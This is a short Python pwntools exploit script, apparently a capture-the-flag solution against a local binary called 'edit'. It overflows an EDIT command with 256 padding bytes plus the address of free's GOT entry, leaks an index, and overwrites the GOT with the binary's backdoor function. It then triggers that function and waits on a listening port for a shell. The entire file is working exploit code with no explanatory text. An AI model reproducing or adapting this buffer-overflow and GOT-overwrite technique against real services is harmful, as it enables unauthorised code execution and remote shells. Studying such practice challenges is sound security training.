35 lines
812 B
Python
35 lines
812 B
Python
#!/usr/bin/env python3
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# -*- coding:utf-8 -*-
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from pwn import *
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context.clear(arch='amd64', os='linux', log_level='info')
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elf = ELF('./edit')
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sh = listen(12012)
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tcpClient = remote('127.0.0.1', 11012)
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tcpClient.sendline(b'ADD aaaa')
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tcpClient.close()
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tcpClient = remote('127.0.0.1', 11012)
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tcpClient.sendline(b'EDIT aaaa ' + b'a' * 256 + p64(elf.got['free']))
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tcpClient.close()
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tcpClient = remote('127.0.0.1', 11012)
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tcpClient.sendline(b'SHOW')
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tcpClient.recvline()
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index_str = tcpClient.recvline()[:-1]
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print(index_str)
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tcpClient.close()
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tcpClient = remote('127.0.0.1', 11012)
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tcpClient.sendline(b'EDIT ' + index_str + b' ' + p64(elf.sym['backdoor']))
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tcpClient.close()
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tcpClient = remote('127.0.0.1', 11012)
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tcpClient.sendline(b'DEL ' + p64(elf.sym['backdoor'])[:3])
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tcpClient.close()
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sh.interactive()
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